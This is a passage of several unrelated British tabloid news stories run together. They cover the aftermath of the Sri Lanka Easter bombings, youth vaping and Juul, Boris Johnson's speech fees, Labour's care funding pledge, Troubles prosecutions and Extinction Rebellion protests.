seriously,' the spokesperson said. The man was to go on trial at the Auckland District Court next week but pleaded guilty on Friday to one count of attempting to stupefy a women. Judge Nevin Dawson extended the man's name suppression and remanded him on bail until his sentencing on June 20. The charge carries a maximum penalty of five years in prison. The Australian government has warned its citizens against travelling to Sri Lanka, saying more terrorist attacks are likely in the country. Australia's Department of Foreign Affairs and Trade issued a travel advisory on Friday saying there is a high level of risk. 'Terrorists are likely to carry out further attacks in Sri Lanka,' the advisory says. An official inspects St. Sebastian's Church in Negombo, Sri Lanka, which lost its roof tiles in the force of the blast. Tourists have been warned to reconsider travel to the South Asian nation Blood stains on the wall and on a Jesus Christ statue at the St. Sebastian's Church after Islamist suicide bombers attacked on Easter Sunday in Negombo, north of Colombo, Sri Lanka 'Attacks could be indiscriminate, including in places visited by foreigners. Security has been stepped up across the island.' 'A State of Emergency and night-time curfew remain in place.' The government's Smart Traveller website advises that if people do travel to Sri Lanka that they carefully research their trip, make contingency plans and take extra safety precautions including checking that their travel insurance will cover them. Hospital staff move a casualty after an explosion at a church in Batticaloa, Sri Lanka The UK Foreign Office has also warned against all but essential travel to Sri Lanka, joining China and the US who have also told their citizens to stay away. The move is likely to devastate the country's tourism industry which had been thriving in the decade of peace since the end of the country's civil war in 2009. Tourism had been Sri Lanka's third largest source of foreign currency and was a huge boost to the economy with international visitors flocking to its pristine beaches, colonial architecture, mountain tea plantations and ancient Buddhist monuments. The death toll from the Islamist attack on Easter Sunday has been revised downwards from 359 to 254 people killed. Sri Lankans were forced to carry their dead out of churches on Easter Sunday Suicide bombers believed to be from local Islamist group National Towheed Jamaat (NTJ) targeted three churches on Christianity's holiest day, along with three hotels and the airport. Sri Lankan police have arrested more than 70 people over the religiously-motivated attacks according to figures reported by the BBC. One of those arrested was one of Sri Lanka's wealthiest spice traders whose two sons are believed to have been suicide bombers. One of his sons, Inshaf Ibrahim, is believed to have been the mastermind of the plot. Bags containing dead bodies are carried outside the St Sebastian's Church, Negombo When police raided the family's home shortly after the attacks, the pregnant wife of one of the brothers detonated a suicide vest killing herself, two children and three police officers. Sri Lanka's Catholic Church has suspended church services across the country for its Christian minority and a curfew remains in place. Sri Lankan authorities believe that local Islamist group National Towheed Jamaat had help from Islamic State in carrying out the attacks. Islamic State claimed responsibility through its Amaq News Agency on Tuesday and put out a statement saying Christians and 'coalition countries' were targeted. Islamic State also published images of Sri Lankan NTJ preacher Zahran Hashem, one of the suicide bombers, pledging allegiance to Islamic State leader Abu Bakr al-Baghdadi. His prime ministerial ambitions suffered a setback this week when Conservative colleagues decided against any further challenge to Theresa May until December. But Boris Johnson's continuing exile on the backbenches is proving to have gold-plated consolations. Indeed, he has just trousered the staggering sum of 161,149 more than the Prime Minister earns in a year for just two speeches. The former Foreign Secretary, who recorded the payment in the Register of Members' Interests, hit the jackpot by flying to India for a weekend at the beginning of last month and addressing the India Today Conclave in New Delhi which by his own calculation was tantamount to three hours' work. Former foreign minister Boris Johnson delivers a speech entitled 'Opportunity in Uncertainty' at the Pendulum Summit 2019 conference at the Convention Centre in Dublin on January 10 Describing Indian Prime Minister Narendra Modi as a 'firecracker' and a 'political phenomenon', Johnson made bold predictions about the benefits of Brexit for trade between India and the UK, saying that it would 'go up 26 per cent' once tariffs including the 150 per cent currently levied on whisky had been re-negotiated. He was paid 122,899.74 for his trouble. Ten days later, Johnson, 54, topped up his bank account with an additional 38,250 his fee for a two-and-a-half hour speech in London to the bankers of Citigroup. Johnson's office failed to respond to calls yesterday, but the Register of Members' Interests suggests that the cost of his air travel and accommodation for his India trip were borne by his hosts, Living Media India Limited, owners of India Today, and were entirely separate from his massive fee. Boris Johnson attends Turn The Tables 2019 hosted by Tania Bryer and James Landale in aid of Cancer Research UK Johnson may well feel that he urgently needs every penny, if only to fund his divorce from his second wife, barrister Marina Wheeler, mother of four of his children, from whom he separated last year. He is now reportedly intent on proposing to his latest squeeze spin doctor Carrie Symonds, 30 as soon as his divorce has been finalised. Lady Weymouth's colourful company BANDED TOGETHER: Food writer Jasmine Hemsley, Lady Weymouth and model Arizona Muse at fashion label Bottletop's launch for its #Togetherband friendship bracelet at the Quadrant Arcade. Jasmine Hemsley, Emma Weymouth and Arizona Muse (L to R) attend a cocktail supper hosted by BOTTLETOP co-founders Cameron Saul & Oliver Wayman PLASTIC NOT FANTASTIC: Arizona, 30, has banned all plastic from her home. 'I have even changed my shampoo, which only comes in these little cubes made out of recycled paper.' ECO REVELATION: Actress Helen McCrory and husband Damian Lewis are doing their bit to save the planet. 'We've still got bath towels from 30 years ago and none of the crockery matches,' says McCrory. LUVVIE COMPLIMENT: Film director Richard Curtis: 'I discovered tonight that beautiful people aren't necessarily evil . . . there are some very good-looking people here who are very nice too.' Taking the Mick? Nude Jagger is star of Ronnie's surreal Stones With Sir Mick Jagger recuperating from a heart op, Rolling Stones guitarist Ronnie Wood has picked up his paintbrush. The strummer's latest work is a cover version of one of the greats. 'I call it The Picasso Stones,' says Ronnie, 71. 'It's my interpretation of Picasso's painting The Three Dancers. I was inspired to do my own take featuring the boys.' The standout piece of the five is an immense Picasso-inspired painting that honours The Rolling Stones, titled 'Abstract Stones' The picture features (from left to right) Wood, Charlie Watts on drums, a pirouetting, naked Jagger, Keith Richards and bass player Darryl Jones. 'Picasso did his own take on a lot of artists but I bet he never thought anyone would ever do a take on him. I hope and think he'd be flattered, but also a bit shocked and pleasantly surprised at my take on his work.' Prints will be available on Ronnie's website but will Jagger think it does him justice? Stage and screen veteran Lindsay Duncan takes her hat off to today's young stars. 'Look at Phoebe Waller-Bridge: she's a great actress and a great writer,' Duncan, 68, tells me of the Fleabag creator/star and Killing Eve screenwriter. 'She's astonishing because she can do both really well. To some extent it's generational. 'I think diversifying is a young person's game really, because the world exists on different terms than it did for me starting out. 'Young people just think differently and don't put themselves in a box quite so much.' Harry Green started vaping about six months ago. Now its a daily ritual. He and his friends nip out of school at lunchtime to puff away, surrounded by clouds of sickly-sweet vapour. His favourite vape flavours are cherry and vanilla. Harry is 17 and shouldnt be vaping. Like tobacco smoking, the habit is restricted by UK law to people aged 18 or over. But he bought his vape kit online, circumventing sales restrictions, and his mother has conceded defeat for the time being. I ask him not to do it in the house because I hate the odour of synthetic chemicals and it gets everywhere, says Mrs Green, a PA from Berkshire. We are battling with it. She adds: My son was very anti-smoking and not a partygoer, but that has changed since he began vaping. E-cigs are hand-held, battery-operated devices (such as the one pictured) that simulate the experience of smoking a cigarette by heating liquid (in a refillable tank or sealed pod) that usually contains nicotine (nicotine-free products are available) to generate a vapour, which is then inhaled Martin McKee, Professor of European Public Health at the London School of Hygiene and Tropical Medicine has raised concerns over the range of child-friendly, sweet flavours, available for vaping Just some of the brightly packaged vaping liquids available to those who choose to vape Sarah Livingstone, a marketing director from Somerset, says vaping is endemic in her 13-year-old daughter Frankies year. Its the cool kid thing to do, she says. Some parents seem to think its just about the sweet flavours, but Ive been told by older children that they are all choosing vaping liquids which contain nicotine. The rules are useless they all shop online, get older friends to buy it for them or buy it themselves from shops that dont care. Such fears are shared by thousands of parents nationwide. Nicotine had been on the retreat in Britain for years as the relentless campaign against cigarette smoking gradually yielded results. In 1974, 45 per cent of Britons smoked; today the figure is 15 per cent. But this highly addictive drug is making a comeback, repackaged as e-cigarettes originally developed to wean smokers off tobacco and aggressively promoted by the NHS as a safer alternative to smoking. E-cigs are hand-held, battery-operated devices that simulate the experience of smoking a cigarette by heating liquid (in a refillable tank or sealed pod) that usually contains nicotine (nicotine-free products are available) to generate a vapour, which is then inhaled. Now the catch-all phrase vaping is used to describe a habit that is being embraced by youngsters, rather than adults, at an alarming rate. Public Health England says that, while numbers are still small, the proportion of 11 to 18-year-olds using e-cig products has doubled in the past five years (from 8.1 per cent in 2014 to 16 per cent in 2018), with almost one in six admitting they have tried one. Public Health England says that, while numbers are still small, the proportion of 11 to 18-year-olds using e-cig products has doubled in the past five years By contrast, vaping among adults in Britain has remained stable since 2015, at about 6 per cent (three million have used them in the decade since e-cigs became available). And as leading vape brand Juul its elegant e-cigs in a range of colours have been stocked by Boots, Sainsburys and vape shops since last summer announces plans to expand its British market to 55,000 outlets, the number of young users may be set to rise, despite Juuls insistence that it actively seeks to dissuade UK youngsters from using its products and has a strict age-verification system in place. In the age of social media, advertising restrictions can be circumvented by influencers who portray vaping as cool, and cartoons have been used on Instagram to promote the products to children as young as 13, according to one national newspaper investigation. Then, of course, there is peer pressure from older siblings and friends. There is a real risk vaping could ensnare a new generation in nicotine addiction, with serious health consequences. E-cigs are also a possible gateway to conventional cigarettes. This week, Martin McKee, Professor of European Public Health at the London School of Hygiene and Tropical Medicine and a long-time critic of e-cigs, pointed to evidence of short-term effects on lung and cardiovascular function and said we should be very, very careful because the long-term effects are unknown. He is also highly critical of government health organisations that recommend e-cigs should be prescribed on the NHS because they are 95 per cent less harmful than cigarette smoking, and campaign for smokers to switch to vaping. Its not whether e-cigarettes are safer than cigarettes, its whether they are actually safe, he says. Vaping (a liquid is pictured) has reached epidemic proportions in U.S. high schools, leading to calls from politicians for tighter controls and a threat by authorities to withdraw e-cigs from sale Professor McKees particular concern is the appeal to young people. He says vape marketing, with its range of child-friendly, sweet flavours, reminds him of the alcopops craze of yesteryear which introduced a generation to alcohol. His may be a lone voice here, but vaping has reached epidemic proportions in U.S. high schools, leading to calls from politicians for tighter controls and a threat by authorities to withdraw e-cigs from sale unless more is done to curb the rise in their use by teenagers again because of fears about the long-term effects. Indeed, vaping has become the new front line in the never-ending battle with Big Tobacco as the powerful global cigarette companies are known collectively and the industry is investing billions in vaping and other new nicotine-delivery systems. Philip Morris International (PMI), the maker of Marlboro cigarettes, has invested in Vivid vape and Iqos heated tobacco devices, while British American Tobacco is behind the Vype vapour and Glo heated tobacco e-cigarettes. Imperial Brands makes the Blu vaping device. In a bizarre and cynical twist, the tobacco giants are even trying to portray themselves as champions of a smokeless world free of the conventional killer combustible cigarettes they currently supply to the planets 1.1 billion smokers. Note, though, that this is not a nicotine-free world. Big Tobacco has no intention of quitting the addiction business. Tobacco multi-nationals see vaping as an insurance policy against falling sales in developed countries that are increasingly hostile to smoking, where health campaigns, advertising bans and packaging restrictions have turned smoking into a pariah activity. This month, PMI has been pushing its e-cigarette products under cover of a campaign called Unsmoke. It took out full-page advertisements in the UK offering smokers support in quitting altogether. But it was also promoting the idea that if people cannot kick cigarettes, they should embrace change by switching to vaping or heated tobacco products. Our paramount business strategy is to replace cigarettes with less harmful, smoke-free alternatives. Thats what we call a smoke-free future, says PMIs chief executive, Andre Calantzopoulos. In pushing vaping, the tobacco multinationals have unlikely allies including Public Health England and Action on Smoking and Health (ASH), as these organisations see it as so much safer than smoking. Yet even when the toxins in tobacco smoke are no longer being ingested, nicotine itself poses a risk. Research suggests the young brain which continues to develop until the age of 25 is particularly vulnerable to nicotine and adapts to cope with any influx of it. Over time, as the brain learns to tolerate nicotine, it requires more of the drug to produce the same high. Effects of this deepening addiction can include loss of concentration, anxiety and a greater tendency to act impulsively. E-liquids (left and right) come in a variety of flavours, with some taking on sweet flavours. Professor McKee claims they remind him of the alcopops craze of yesteryear which introduced a generation to alcohol As well as Professor McKees concerns about lung and heart function, researchers at Birmingham University have linked vaping with chronic respiratory diseases such as bronchitis and emphysema. According to Dr Aaron Scott, who led the study: [Vaping] is cytotoxic [toxic to cells] and pro-inflammatory, just like cigarette smoke in the short term. Other studies have linked e-cigs to certain cancers and heart disease, while Harvard University reported this week that one e-cig product in four is contaminated by lung-damaging bacterial and fungal toxins. The American scientists also found that the sweet, fruity flavours popular with teenagers were most likely to be contaminated. Until 2016, when the substance was banned by the EU, some of these child-friendly liquids contained a chemical, diacetyl, that can cause popcorn lung a build-up of scar tissue that reduces the efficiency of the lungs. An addiction to nicotine also, of course, raises the possibility that youngsters in search of a stronger hit may graduate to conventional cigarettes. Linda Bauld, Professor of Public Health at Edinburgh University, says that, as with conventional cigarettes, youngsters will always find ways to get hold of vaping liquid, which is cheaper than tobacco. But she argues that the public health benefits of vaping far outweigh the risks to youngsters. Tobacco remains the leading cause of preventable illness in this country, killing about 100,000 people a year and costing the country an estimated 12 billion in medical bills and lost work. We dont want kids to vape, Professor Bauld says. These products can be addictive and we need schools to crack down. But at the end of the day, if you have a troubled teenager, often from a smoking family, then vaping is a far better alternative to smoking. We need to protect kids, but also to make sure that the one adult in four who mistakenly believes vaping is just as bad as smoking doesnt increase. Professor McKee disagrees with this approach and accuses the bodies that back vaping as an aid to quitting smoking of gross complacency. There are other factors that work in cutting smoking in a population, like price, availability and marketing, he argues. This idea that e-cigarettes are some wonder cure for smoking they are not. UK data on youth vaping is still at an early stage. Weve seen what has happened in the U.S., and American kids arent different from ours. They have just been exposed to it for longer. In pushing vaping, tobacco multinationals have unlikely allies including Public Health England and Action on Smoking and Health (ASH), as these organisations see it as so much safer than smoking Which brings us back to Juul. So dominant is its position in the teen market in the U.S. although the minimum age to purchase Juul products is 21 that users speak of Juuling rather than vaping. Easy to conceal, the product is also easy to reload with sealed liquid pods containing in the U.S. version nicotine equal to that in a pack of 20 cigarettes. (The British variant contains a third of that concentration of nicotine, to comply with EU restrictions.) A starter kit with a Juul device and four pods, including royal creme and mango nectar, is currently selling in some vape shops for as little as 19.99. A pod is intended to last for about a day and a pack of four is 9.99. So the average user can Juul for 2.50 a day, as opposed to spending 11 on a packet of cigarettes. Juul Labs, the devices U.S. manufacturer, says the product was developed specifically to wean adult tobacco smokers off cigarettes. But it concedes that the company has been forced to change its marketing campaign in the U.S. which had used images of stylish young people on social media sites such as Facebook and Instagram to head off accusations that it targets the young. Juul UK says it has learned from the American experience and made efforts to prevent youngsters buying its products online, with multiple security checks designed to deter underage buyers. Its limited marketing campaign in the UK portrays the device solely as a smoking cessation aid. This has not prevented its apparent infiltration into the UK independent education sector. Its all over the boarding schools in Britain, according to journalist Joanna Della-Ragione, a one-time Juul addict herself. In the course of a magazine investigation she talked to Dan, in Year 11, who told her about 50 children at his boarding school had been suspended for vaping in the previous year. If youre caught, its instant suspension. he said. But still, everyone does it. A sixth-former comes and takes orders for Juul once a week and deals them out to the younger kids. A lot of my friends hit the Juul from the second they wake up. I have five or six friends in my house alone who are seriously addicted. They spend their entire allowance on Juul pods. As well as Professor McKees concerns about lung and heart function, researchers at Birmingham University have linked vaping with chronic respiratory diseases such as bronchitis and emphysema Billy, 19, said lack of odour made it easier to vape with Juul than to smoke conventional cigarettes at his former boarding school. I smoked cigarettes before, and another vape pen, but Juul was easier and more fun, he said. Someone else is a fan of Juul the American cigarette giant Altria. In 2007, the Philip Morris empire split into two listed companies: Philip Morris International (which sells brands outside the U.S.) and Altria, which manages domestic U.S. sales. Last year, Altria paid 9.8 billion for a 35 per cent share in Juul Labs. As part of the deal, Juul pods will be displayed in stores alongside Marlboro. Critics say this poacher-turned-gamekeeper tactic is to be expected from an industry never short on cynicism. Indeed, is it too fanciful to believe that behind boardroom doors, Big Tobacco executives are intent on finding new ways to keep us hooked on nicotine? One concerned parent has little doubt this is the intention. Sometimes I tell myself this is a craze and will die out, says Sarah Livingstone, mother of Frankie, 13. But then I remember that these kids are getting addicted to nicotine, as well as potentially harming their lungs. At least with cigarettes, we know what were up against. With vaping, our children are at the mercy of the big companies again. Labour will hike taxes on the wealthy to pay for better care for those with dementia. The party announced it would spend more than 3billion to boost the number of elderly Britons receiving help at home. The money would provide support to more than 160,000 older people who currently receive no help at all, including 50,000 with dementia, said social care spokesman Barbara Keeley. The tax rise would apply to the top 5 per cent of earners those bringing in around 80,000 or more a year. Labour pledged 2.8billion to increase the number of home care packages for the vulnerable and those with dementia, and 350million to invest in training carers. Labour will hike taxes on the wealthy to pay for better care for those with dementia and boost the number of elderly Britons receiving help at home (stock photo) Families in 150million benefits bungle Nearly 80,000 full-time carers of sick and disabled relatives could be forced to pay back 150million following a fiasco over wrongly claimed benefits, it was revealed yesterday. Some living on state benefits of little more than 100 a week could be paying back the debt for 30 years, the National Audit Office said. The demand for repayments which can reach up to 20,000 follows a decade in which the Department for Work and Pensions routinely doled out too much to claimants of carer's allowance. The benefit, worth 66.15 a week, is paid to those who give at least 35 hours of care a week and have a weekly income of less than 123. Typically it is claimed alongside income support, the NAO said. Nine out of ten of those making repayments which will take three and a quarter years on average were overpaid because they failed to tell officials their earnings had surpassed the 123 limit. But around two thirds of carers with debts over 2,500 would have had overpayments stopped earlier if the DWP had 'sufficient staff', the NAO said. Only 483 overpayments were found to be fraudulent in the year to the end of March 2019, it added. Advertisement Another 350million a year would go toward helping those with autism and learning disabilities to reintegrate into society after being in inpatient units. The party would also ensure the earnings threshold for the carer's allowance will rise year on year, in line with the National Living Wage. Home care packages provide support by helping those living independently at home with daily tasks such as getting in and out of bed, washing and preparing meals. Miss Keeley said: 'This Tory government has shamefully abandoned older people and young adults with care needs. 'There is still no sign of their Social Care Green Paper, which was promised more than two years ago, and vulnerable older people have needlessly suffered as a result of the Government's failure. 'People with dementia are unfairly punished when it comes to paying for their care needs, so Labour will correct this injustice in government.' She said staff would be 'properly paid and trained' to provide 'compassionate care', adding: 'We must offer dignity and security to all vulnerable people.' Labour's pledge comes as a major report warned growing numbers of elderly patients are being denied social care as the system nears 'breaking point'. Around 20,000 fewer older people are receiving support than three years ago despite record demand for care and rising dementia rates, the study by the King's Fund think-tank found. Last year 1.84million adults requested care a 2 per cent rise on 2015/16. But the report warned the proportion of over-65s receiving long-term care from local councils has fallen by 6 per cent in the past three years. Labour pledged 2.8billion to increase the number of home care packages for the vulnerable and those with dementia, and 350million to invest in training carers (stock photo) Demand for care is soaring due to Britain's ageing population and rising disability among working-age adults with 18 per cent now reporting a disability. But the study found local authority spending on social care has dropped in real terms and is now 700million less than it was in 2010/11. It also warned 22 per cent of older people who need support currently do not get it. And the study laid bare the extent of the staffing crisis, with around 390,000 carers leaving jobs each year. Of the 1.6million jobs in social care, around 8 per cent are vacant at any one time. Fiona Carragher, of the Alzheimer's Society, said: 'People tell us daily what a nightmare it is trying to get care. 'People with dementia are having to battle with a serious health condition it is unacceptable they should also have to fight an inaccessible, cash-starved social care system.' Twitter CEO Jack Dorsey called Rep. Ilhan Omar personally after President Donald Trump posted a video harshly criticizing her remarks on 9/11, prompting death threats, it revealed on Thursday. Dorsey made the call on Tuesday and told the Minnesota Democrat congresswoman that Twitter stood firm on its decision to allow the video Trump tweeted on April 12 criticizing her, the Washington Post reported. The video contrasted the Muslim lawmaker Omar's recent remarks to the Council on American-Islamic Relations, where she described the terrorist attacks of September 11, 2001 as 'some people did something', with searing footage of the attacks themselves. A furious Omar pressed Dorsey on why Twitter didn't remove Trump's video immediately, according to a Twitter source who spoke with the Post. Twitter CEO Jack Dorsey called Rep. Ilhan Omar (above on Wednesday) personally after President Donald Trump posted a video harshly criticizing her remarks on 9/11 Dorsey responded that the tweet and video didn't violate Twitter's rules, according to the report. He also pointed out that the video had already been shared widely beyond Twitter. 'During their conversation, [Dorsey] emphasized that death threats, incitement to violence, and hateful conduct are not allowed on Twitter,' Twitter said in a statement to the Post confirming the call. 'We've significantly invested in technology to proactively surface this type of content and will continue to focus on reducing the burden on the individual being targeted. Our team has also consistently been in touch with Rep. Omar's office.' Omar said on April 14 that she had experienced an 'increase in direct threats on my life many directly referencing or replying to the president's video.' Dorsey's phone call to Omar came on the same day that he sat down with Trump in the Oval Office for a face-to-face-meeting. Dorsey's phone call to Omar came on the same day that he sat down with Trump in the Oval Office for a face-to-face-meeting (above) Trump reportedly spent much of the meeting complaining about losing followers, to which Dorsey responded that the company had only removed spam and fraudulent accounts. Omar has continued to draw criticism with controversial remarks in recent days. Earlier this week, a tweet resurfaced from 2017 in which she falsely claimed American soldiers killed 'thousands' of Somalis in the first Battle of Mogadishu, the 1993 event chronicled in the book and movie 'Black Hawk Down.' The highest published Somali death toll is the UN's estimate of 500. Many were militia members battling to kill or capture a handful of U.S. soldiers after two attack helicopters were shot down in Somalia's capital city during a mission to capture a warlord who attacked UN Peacekeepers. On Wednesday, a Jewish organization criticized Omar for promoting the notion that Jesus was Palestinian. Rabbi Abraham Cooper of the Simon Wiesenthal Center reacted angrily to Omar's retweet on April 20 of a professor at Southern Methodist University. 'Palestine was a name made up by Romans after they crucified thousands, destroyed the Holy Temple in Jerusalem and exiled the People of Israel from their homeland,' Cooper said. Army veterans marched in support of 'Soldier F' - who faces a murder trial over the Bloody Sunday massacre - on April 19 Up to 200 former British security forces personnel have been investigated for alleged crimes during the Troubles, it emerged last night. The Ministry of Defence has estimated there are between 150 and 200 former soldiers and police officers under investigation for alleged historical offences. The figures have emerged following pressure from politicians and thousands of current and former service personnel who say the prosecutions are a witch-hunt against those who served in Northern Ireland during the Troubles. There are at least three prosecutions against British soldiers under way, including one against a former Parachute Regiment soldier known only as Soldier F, who is due to face murder charges over his role in Bloody Sunday in 1972. Another veteran, known as Soldier B, is in his seventies and said to be unwell but faces prosecution for allegedly shooting dead 15-year-old Daniel Hegarty and wounding his cousin Christopher in Londonderry in 1972. The decision, by Northern Irelands Public Prosecution Service, reversed three previous decisions not to prosecute Soldier B, made in 1973, 2008 and 2016. Thousands of veterans met on the Mall for speeches and then to march for Soldier F this month Families of those killed on Bloody Sunday marched in Londonderry in March before the Public Prosecution Service announced Soldier F would face a murder trial for his actions that day The figures, reported by the Guardian, will reignite fears of a witch-hunt which would see British military veterans, now in their sixties and seventies, jailed for their roles in violent clashes almost 50 years ago. Last year, the Hegarty family won the right to seek the prosecution of Soldier B again after the High Court quashed the PPSs 2016 decision not to bring criminal charges, ruling it was based on irredeemably flawed reasoning. The Government has said Soldier B will be offered full legal support, although the decision to prosecute another soldier over Troubles violence has sparked fury among ex-servicemen. One former paratrooper who served with Soldier B said: What makes the blood boil is that there is nothing even-handed about this or the Bloody Sunday charges because those from the other side who killed soldiers and civilians are not being pursued with the same determination. A Government spokesman told the Guardian: The system to investigate the past needs to change to provide better outcomes for victims and survivors of the Troubles. We have always said that we will not introduce amnesties or immunities from prosecution in Northern Ireland. The MoD is currently looking at what more can be done to provide further legal protection to service personnel and veterans, including considering legislation. Amy Goodman of her with Ross Kernan, who are rearranging their honeymoon in the wake of the new Foreign Office advice Thousands of British tourists were scrambling to flee Sri Lanka last night after the Foreign Office warned it was no longer safe. With the mastermind of the Easter massacre still on the loose, the guidance for holidaymakers was updated to warn against 'all but essential travel'. Officials are braced for a mass evacuation. There are 8,000 Britons currently visiting the country. Foreign Secretary Jeremy Hunt acted after being told another attack was 'very likely'. This has left a host of engaged couples scrambling to make new honeymoon plans. They are being urged to contact airlines, tour operators and insurers for more information. Amy Goodman, a doctor from Armagh, Northern Ireland, had been due to stay at Colombo's Cinnamon Grand hotel, one of the sites that was hit in the bombings, with her fiance Ross Kernan as part of their honeymoon in June. They are now working with their travel agent to cut Sri Lanka out of their itinerary completely. Ms Goodman, 27, and her fiance had been planning the trip for over two years, and she had taken on extra shifts at the hospital where she works to pay for the holiday. But she said they were 'some of the lucky ones' and that going there now would not be the same. She said: 'It just wouldn't have felt right - the eeriness, and of course the tragedy for the Sri Lankans as well, we felt we couldn't do it.' Abigail McKie with her fiance Alisdair Smith, who they are facing the prospect of rearranging their entire honeymoon Abigail McKie, a specialist support worker from Doncaster, was due to travel to the country for a honeymoon in June with her fiance Alisdair Smith, but they are facing the prospect of rearranging the entire trip. The couple had saved up 5,000 for a tour of Sri Lanka, with stops including Colombo, Kandy and the country's Cultural Triangle, with a particular focus on seeing wildlife. But Ms McKie, 24, said she understood why the Foreign Office had changed its advice and that they had 'done the right thing'. 'They're just trying to keep everyone safe and honestly my heart goes out to anyone that's out there already or that was meant to be going sooner than we are,' she said. The Islamic State atrocity on Easter Sunday killed hundreds including eight Britons, and injured more than 500. Abdul Lathief Jameel Mohammed (right), as boy. He has been named as the British educated suicide bomber in the Sri Lankan Terror attack Suicide bombers including Abdul Lathief Jameel Mohamed, who studied at Kingston University in Surrey, calmly walked into churches and luxury hotels to unleash carnage. Pictures emerged yesterday of Mohamed as an innocent boy. Hate preacher Moulvi Zahran Hashim, mastermind of the bloodbath, was initially thought to have been one of the nine maniacs who blew themselves up. But security services in Sri Lanka now fear he slipped away to plot more mayhem. The authorities are still finding bombs. Another one was detonated yesterday in the town of Pugoda. No one was hurt. Unverified messages circulating yesterday claimed IS was planning another bombing in the next 24 hours. The warnings claimed a bomb big enough to destroy a suburb was primed to explode. Hashim, who radicalised up to 3,000 with his hate-filled sermons from 2017, is feared to have gone to ground with his family. His sister Madaniya, 25, said: 'I don't want anything to do with him, and I hope he is dead.' The Colombo government has drafted in 7,000 troops for the manhunt, and the country was put under a curfew for the fifth evening last night. In Whitehall, the Ministry of Defence said it was ready to help the British evacuation if requested by the Foreign Office, but military sources said at present they were not expecting to be needed. Tour companies including TUI have started contacting customers to change their flights home, while the Foreign Office advised holidaymakers travelling independently: 'You should make your own arrangements to leave.' Mr Hunt said: 'My first priority will always be the security of British citizens. I have received updated advice from the Foreign Office and decided to update the travel advice to British nationals to Sri Lanka to advise against all but essential travel.' If tourists ignore the advice and travel anyway, they are likely to invalidate their travel insurance policies. Independent holidaymakers will likely have to pay for new flights home themselves. The Association of British Travel Agents said: 'Customers due to travel imminently to the island on package holidays will be offered options of deferring their date of travel, transferring to another destination or a full refund.' The former home of Abdul Lathief Jameel Mohammed in Colombo, Sri Lanka. He tried target the Taj Hotel, Colombo, but after failing to detonate there instead found a small guesthouse The death toll from Sunday's attacks is about 100 fewer than the 359 originally thought, a Sri Lankan health official said yesterday. Anil Jasinghe said: 'It could be 250 or 260. I can't exactly say. There are so many body parts and it is difficult to give a precise figure.' It was also claimed that the bombers took their orders directly from Syria. Despite IS having been supposedly vanquished there, the death squad 'took their instructions from Syria', said Indian intelligence officers who intercepted the messages. Wealthy brothers Inshaf and Ilham Ibrahim - sons of a millionaire spice trader - are two of nine jihadis who carried out the devastating bomb attacks in Sri Lanka. They are believed to be pictured here alongside National Thawheed Jamaath leader Moulvi Zahran Hashim, who is still at large Meanwhile Mohamed's wife, Shifana, described her 'complete shock' at discovering her husband, 36, was one of the killers. The 30-year-old added: 'It is hard to take in what he has done.' The wealthy father of four, who owned an impressive property portfolio, studied aerospace engineering at Kingston from 2006 to 2007. It was the year hate preacher Shakeel Begg lectured students at the campus to 'make jihad'. Mohamed travelled to Melbourne in Australia for a postgraduate course where his obsession with extremism grew. Relatives said he returned with a long beard and a 'serious attitude', unrecognisable from photos of him enjoying an idyllic childhood, smiling with friends as he played with animals. Mohamed's wife, a former biology student, said: 'He was a loving father to our four children and he just went off as usual to the mosque last Friday, but we never saw him again. 'He has left his young children behind. It is hard to take in what he has done. I had no idea he would do this until the police turned up at my door. I was in complete shock.' The couple married ten years ago and have three sons and a daughter all under the age of eight. Their youngest, a son, is just six months. Mohamed's sister Samsul Hidaya said he had lived a typically middle-class existence until his return from studying overseas. 'My brother became deeply, deeply religious while he was in Australia,' she said. 'He came back to Sri Lanka a different man. 'He had a long beard and had lost his sense of humour. He became serious and withdrawn and would not even smile at anyone he didn't know, let alone laugh.' Mohamed's 23-year-old nephew added: 'We are really, really ashamed of what he has done. 'It is such a shock and the lives of so many innocent people have been affected.' Advertisement Extinction Rebellion leaders have praised the 'beautiful beings' who caused chaos across London for two weeks at a self-proclaimed 'closing ceremony' in London last night. Demonstrators gathered at Speaker's Corner in Hyde Park yesterday evening for the event marking an end to the current wave of blockades in the capital. Skeena Rathor, vision co-ordinator for XR, welcomed the 'rebels' to the event which was billed as a 'closing ceremony' by the group. She described the crowd of hundreds of people sitting on the grass as 'beautiful beings', adding: 'This is our pause ceremony. Welcome to the beginning of our pause.' Demonstrators gathered at Speaker's Corner in Hyde Park on Thursday evening for the event marking an end to the current wave of blockades in the capital Climate change activists, dressed in red with white face paint, take part in the 'closing ceremony' of the Extinction Rebellion protests in Hyde Park Skeena Rathor, vision co-ordinator for XR, welcomed the 'rebels' to the event (pictured) which was billed as a 'closing ceremony' by the group Ms Rathor invited the eco-protesters (pictured) to 'begin a process of reflection' after the 10-day campaign, adding: 'Thank you for what you have done this week. It is enormous. It is beyond words' Protestors of the group Extinction Rebellion gather in Hyde Park to mark the end of their protesting Activists listen to speeches and songs through small PA system in Hyde Park at the self-titled 'closing ceremony' of the Extinction Rebellion protest Extinction Rebellion campaigners attend a 'closing ceremony' in Hyde Park. Many listened to speeches, including from Ms Rathor who said: 'We are here for all of us. And together we are all we need' Ms Rathor invited the eco-protesters to 'begin a process of reflection' after the 10-day campaign, adding: 'Thank you for what you have done this week. It is enormous. It is beyond words.' She said: 'We are here for all of us. And together we are all we need.' Answering a shout from the crowd, she added: 'And for all species. Absolutely.' On their final day, XR members temporarily blockaded the London Stock Exchange by gluing themselves across entrances to the trading hub in the City of London in the morning. The action came after the group announced on Wednesday it would end blockades at Parliament Square and Marble Arch. Members of the group targeted London's financial districts to highlight what they call the business world's 'role in our collective suicide', on the final day of protests. They were un-attached before being taken away in police vans, with Scotland Yard saying 13 people had been arrested on suspicion of aggravated trespassing. The Exchange said all markets were open as normal. The Extinction Rebellion performance artists also attended the 'closing ceremony' in Hyde Park yesterday evening The performance group donned red outfits and face paint for the 'closing ceremony' at Marble Arch and later Hyde Park Many protestors had made placards to use both in the protests and at the 'closing ceremony' in Hyde Park Others had made signs with messages including 'act now' as they listened to speeches at Hyde Park yesterday evening People observe the Extinction Rebellion 'closing ceremony' from a tree, as the protestors celebrated the action they had taken over the past couple of weeks Some Extinction Rebellion campaigners closed their eyes as they listened to speeches at the self-titled closing ceremony in Hyde Park Elsewhere, six protesters including 83-year-old grandfather Phil Kingston clambered on to the roof of a DLR train at Canary Wharf station in east London, holding signs saying 'business as usual = death' and 'don't jail the canaries'. British Transport Police (BTP) used ropes, ladders and harnesses to remove them before saying six people were arrested on suspicion of obstructing the railway. In central London, dozens of XR members including drummers and banner-carriers could be seen 